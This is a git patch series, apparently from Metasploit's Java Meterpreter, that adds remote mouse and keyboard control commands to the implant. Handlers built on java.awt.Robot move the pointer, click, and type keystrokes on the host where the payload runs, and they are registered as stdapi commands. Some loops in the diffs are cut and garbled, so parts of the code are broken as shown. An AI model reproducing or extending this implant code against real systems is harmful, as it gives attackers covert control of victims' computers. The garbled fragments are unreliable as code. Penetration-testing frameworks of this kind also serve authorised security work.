From b86548b8d64211a0bfb2ded5785d286457aaded6 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 10 Jun 2019 15:26:05 +0800 Subject: [PATCH 1/5] java mouse --- .../com/metasploit/meterpreter/TLVType.java | 10 ++-- .../metasploit/meterpreter/stdapi/Loader.java | 1 + .../stdapi/stdapi_ui_send_keys.java | 5 ++ .../stdapi/stdapi_ui_send_keys_V1_4.java | 44 ++++++++++++++++ .../stdapi/stdapi_ui_send_mouse.java | 5 ++ .../stdapi/stdapi_ui_send_mouse_V1_4.java | 51 +++++++++++++++++++ 6 files changed, 113 insertions(+), 3 deletions(-) create mode 100644 java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java create mode 100644 java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java create mode 100644 java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse.java create mode 100644 java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java index 6ad66830..19670665 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java @@ -173,9 +173,13 @@ public interface TLVType { public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550; // Ui - public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; - public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001; - public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; + public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; + public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001; + public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; + public static final int TLV_TYPE_KEYS_SEND = TLVPacket.TLV_META_TYPE_STRING | 3014; + public static final int TLV_TYPE_MOUSE_ACTION = TLVPacket.TLV_META_TYPE_UINT | 3015; + public static final int TLV_TYPE_MOUSE_X = TLVPacket.TLV_META_TYPE_UINT | 3016; + public static final int TLV_TYPE_MOUSE_Y = TLVPacket.TLV_META_TYPE_UINT | 3017; // Event Log public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java index 02c01c52..197f415f 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java @@ -51,6 +51,7 @@ public class Loader implements ExtensionLoader { mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3); mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); + mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4); mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); } } diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java new file mode 100644 index 00000000..ba00cf7b --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java @@ -0,0 +1,5 @@ +package com.metasploit.meterpreter.stdapi; + +// Dummy class +public class stdapi_ui_send_keys { +} diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java new file mode 100644 index 00000000..a82c28a5 --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java @@ -0,0 +1,44 @@ +package com.metasploit.meterpreter.stdapi; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.command.Command; + +import javax.imageio.IIOImage; +import javax.imageio.ImageIO; +import javax.imageio.ImageWriteParam; +import javax.imageio.ImageWriter; +import java.awt.*; +import java.awt.event.KeyEvent; +import java.io.ByteArrayOutputStream; + +public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + String keyString = request.getStringValue(TLVType.TLV_TYPE_KEYS_SEND); + return ERROR_SUCCESS; + } + + private void pressKeyString(String keyString) throws AWTException { + Robot robot = new Robot(); +// for (int i=0;i= 0; --i) + { + // extracts a single decade of the key-code and adds + // an offset to get the required VK_NUMPAD key-code + int numpad_kc = key_code / (int) (Math.pow(10, i)) % 10 + KeyEvent.VK_NUMPAD0; + r.keyPress(numpad_kc); + r.keyRelease(numpad_kc); + } + r.keyRelease(KeyEvent.VK_ALT); + } +} diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse.java new file mode 100644 index 00000000..6bfdd3b0 --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse.java @@ -0,0 +1,5 @@ +package com.metasploit.meterpreter.stdapi; + +// Dummy class +public class stdapi_ui_send_mouse { +} diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java new file mode 100644 index 00000000..386ee39b --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java @@ -0,0 +1,51 @@ +package com.metasploit.meterpreter.stdapi; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.command.Command; + +import java.awt.Robot; +import java.awt.event.InputEvent; + +public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + int action = request.getIntValue(TLVType.TLV_TYPE_MOUSE_ACTION); + int x = request.getIntValue(TLVType.TLV_TYPE_MOUSE_X); + int y = request.getIntValue(TLVType.TLV_TYPE_MOUSE_Y); + + Robot robot = new Robot(); + if (x != -1 && y != -1) { + robot.mouseMove(x, y); + } + switch (action) { + case 1: + robot.mousePress(InputEvent.BUTTON1_DOWN_MASK); + robot.delay(100); + robot.mouseRelease(InputEvent.BUTTON1_DOWN_MASK); + break; + case 2: + robot.mousePress(InputEvent.BUTTON1_DOWN_MASK); + break; + case 3: + robot.mouseRelease(InputEvent.BUTTON1_DOWN_MASK); + break; + case 4: + robot.mousePress(InputEvent.BUTTON2_DOWN_MASK); + robot.delay(100); + robot.mouseRelease(InputEvent.BUTTON2_DOWN_MASK); + break; + case 5: + robot.mousePress(InputEvent.BUTTON2_DOWN_MASK); + break; + case 6: + robot.mouseRelease(InputEvent.BUTTON2_DOWN_MASK); + break; + } + + return ERROR_SUCCESS; + } + + +} From 8afcc9a6408280c73177d9a57009d5c78cac535d Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 11 Jun 2019 19:10:04 +0800 Subject: [PATCH 2/5] use reflection --- .../stdapi/stdapi_ui_send_keys_V1_4.java | 8 +-- .../stdapi/stdapi_ui_send_mouse_V1_4.java | 53 +++++++++++++++---- 2 files changed, 47 insertions(+), 14 deletions(-) diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java index a82c28a5..7a3c45b6 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java @@ -20,12 +20,11 @@ public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Com return ERROR_SUCCESS; } + /* private void pressKeyString(String keyString) throws AWTException { Robot robot = new Robot(); -// for (int i=0;i Date: Tue, 11 Jun 2019 19:25:39 +0800 Subject: [PATCH 3/5] add broken stdapi_ui_send_keys --- .../metasploit/meterpreter/stdapi/Loader.java | 1 + .../stdapi/stdapi_ui_send_keys_V1_4.java | 41 ++++++++++++++----- .../stdapi/stdapi_ui_send_mouse_V1_4.java | 10 ----- 3 files changed, 31 insertions(+), 21 deletions(-) diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java index 197f415f..ceffb65c 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java @@ -52,6 +52,7 @@ public class Loader implements ExtensionLoader { mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4); + mgr.registerCommand("stdapi_ui_send_keys", stdapi_ui_send_keys.class, V1_4); mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); } } diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java index 7a3c45b6..5096a253 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java @@ -5,28 +5,26 @@ import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; -import javax.imageio.IIOImage; -import javax.imageio.ImageIO; -import javax.imageio.ImageWriteParam; -import javax.imageio.ImageWriter; -import java.awt.*; -import java.awt.event.KeyEvent; -import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { String keyString = request.getStringValue(TLVType.TLV_TYPE_KEYS_SEND); + pressKeyString(keyString); return ERROR_SUCCESS; } - /* - private void pressKeyString(String keyString) throws AWTException { - Robot robot = new Robot(); + private void pressKeyString(String keyString) throws Exception { + RobotReflect robot = new RobotReflect(); for (int i=0;i Date: Sun, 16 Jun 2019 14:18:40 +0800 Subject: [PATCH 4/5] remove reflection --- .../stdapi/stdapi_ui_send_keys_V1_4.java | 25 ++------------- .../stdapi/stdapi_ui_send_mouse_V1_4.java | 31 ++----------------- .../android-api/pom.xml | 2 ++ 3 files changed, 6 insertions(+), 52 deletions(-) diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java index 5096a253..c6628512 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java @@ -5,7 +5,7 @@ import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; -import java.lang.reflect.Method; +import java.awt.Robot; public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command { @@ -16,7 +16,7 @@ public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Com } private void pressKeyString(String keyString) throws Exception { - RobotReflect robot = new RobotReflect(); + Robot robot = new Robot(); for (int i=0;i + + From e686724e189483178cab08349af60fd4538026da Mon Sep 17 00:00:00 2001 From: Tim W Date: Sun, 23 Jun 2019 13:40:07 +0800 Subject: [PATCH 5/5] add java keyevents --- .../com/metasploit/meterpreter/TLVType.java | 1 + .../metasploit/meterpreter/stdapi/Loader.java | 2 +- ...keys.java => stdapi_ui_send_keyevent.java} | 2 +- .../stdapi/stdapi_ui_send_keyevent_V1_4.java | 67 +++++++++++++++++++ .../stdapi/stdapi_ui_send_keys_V1_4.java | 42 ------------ .../stdapi/stdapi_ui_send_mouse_V1_4.java | 6 ++ .../android-api/pom.xml | 2 +- 7 files changed, 77 insertions(+), 45 deletions(-) rename java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/{stdapi_ui_send_keys.java => stdapi_ui_send_keyevent.java} (61%) create mode 100644 java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java delete mode 100644 java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys_V1_4.java diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java index 19670665..a9892bf4 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java @@ -180,6 +180,7 @@ public interface TLVType { public static final int TLV_TYPE_MOUSE_ACTION = TLVPacket.TLV_META_TYPE_UINT | 3015; public static final int TLV_TYPE_MOUSE_X = TLVPacket.TLV_META_TYPE_UINT | 3016; public static final int TLV_TYPE_MOUSE_Y = TLVPacket.TLV_META_TYPE_UINT | 3017; + public static final int TLV_TYPE_KEYEVENT_SEND = TLVPacket.TLV_META_TYPE_RAW | 3018; // Event Log public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java index ceffb65c..b9f355cb 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java @@ -52,7 +52,7 @@ public class Loader implements ExtensionLoader { mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4); - mgr.registerCommand("stdapi_ui_send_keys", stdapi_ui_send_keys.class, V1_4); + mgr.registerCommand("stdapi_ui_send_keyevent", stdapi_ui_send_keyevent.class, V1_4); mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); } } diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent.java similarity index 61% rename from java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java rename to java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent.java index ba00cf7b..cab62b0e 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keys.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent.java @@ -1,5 +1,5 @@ package com.metasploit.meterpreter.stdapi; // Dummy class -public class stdapi_ui_send_keys { +public class stdapi_ui_send_keyevent { } diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java new file mode 100644 index 00000000..547f5a67 --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java @@ -0,0 +1,67 @@ +package com.metasploit.meterpreter.stdapi; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.command.Command; + +import java.awt.Robot; +import java.awt.event.KeyEvent; +import java.security.Key; +import java.util.HashMap; +import java.util.Map; + +public class stdapi_ui_send_keyevent_V1_4 extends stdapi_ui_send_keyevent implements Command { + + private static Map keyMapping = new HashMap() + { + { + put(0x08, KeyEvent.VK_DELETE); + put( 0x09 , KeyEvent.VK_TAB); + put( 0x0C , KeyEvent.VK_CLEAR); + put( 0x0D , KeyEvent.VK_ENTER); + put( 0xBA , KeyEvent.VK_SEMICOLON); + put( 0xBB , KeyEvent.VK_EQUALS); + put( 0xBC , KeyEvent.VK_COMMA); + put( 0xBD , KeyEvent.VK_MINUS); + put( 0xBE , KeyEvent.VK_PERIOD); + put( 0xBF , KeyEvent.VK_SLASH); + put( 0xC0 , KeyEvent.VK_QUOTE); + put( 0xDB , KeyEvent.VK_BRACELEFT); + put( 0xDC , KeyEvent.VK_BACK_SLASH); + put( 0xDD , KeyEvent.VK_BRACERIGHT); + put( 0xDE , KeyEvent.VK_NUMBER_SIGN); + put( 0xDF , KeyEvent.VK_BACK_QUOTE); + } + }; + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + byte[] keyevents = request.getRawValue(TLVType.TLV_TYPE_KEYEVENT_SEND); + for (int i=0;i= 0; --i) - { - // extracts a single decade of the key-code and adds - // an offset to get the required VK_NUMPAD key-code - int numpad_kc = key_code / (int) (Math.pow(10, i)) % 10 + KeyEvent.VK_NUMPAD0; - r.keyPress(numpad_kc); - r.keyRelease(numpad_kc); - } - r.keyRelease(KeyEvent.VK_ALT); - } - */ -} diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java index 10d4110c..b8d60d07 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java @@ -40,6 +40,12 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C case 6: robot.mouseRelease(InputEvent.BUTTON3_MASK); break; + case 7: + robot.mousePress(InputEvent.BUTTON1_MASK); + robot.mouseRelease(InputEvent.BUTTON1_MASK); + robot.mousePress(InputEvent.BUTTON1_MASK); + robot.mouseRelease(InputEvent.BUTTON1_MASK); + break; } return ERROR_SUCCESS; diff --git a/java/version-compatibility-check/android-api/pom.xml b/java/version-compatibility-check/android-api/pom.xml index 6ec847f4..bc27c2a7 100644 --- a/java/version-compatibility-check/android-api/pom.xml +++ b/java/version-compatibility-check/android-api/pom.xml @@ -49,7 +49,7 @@ - +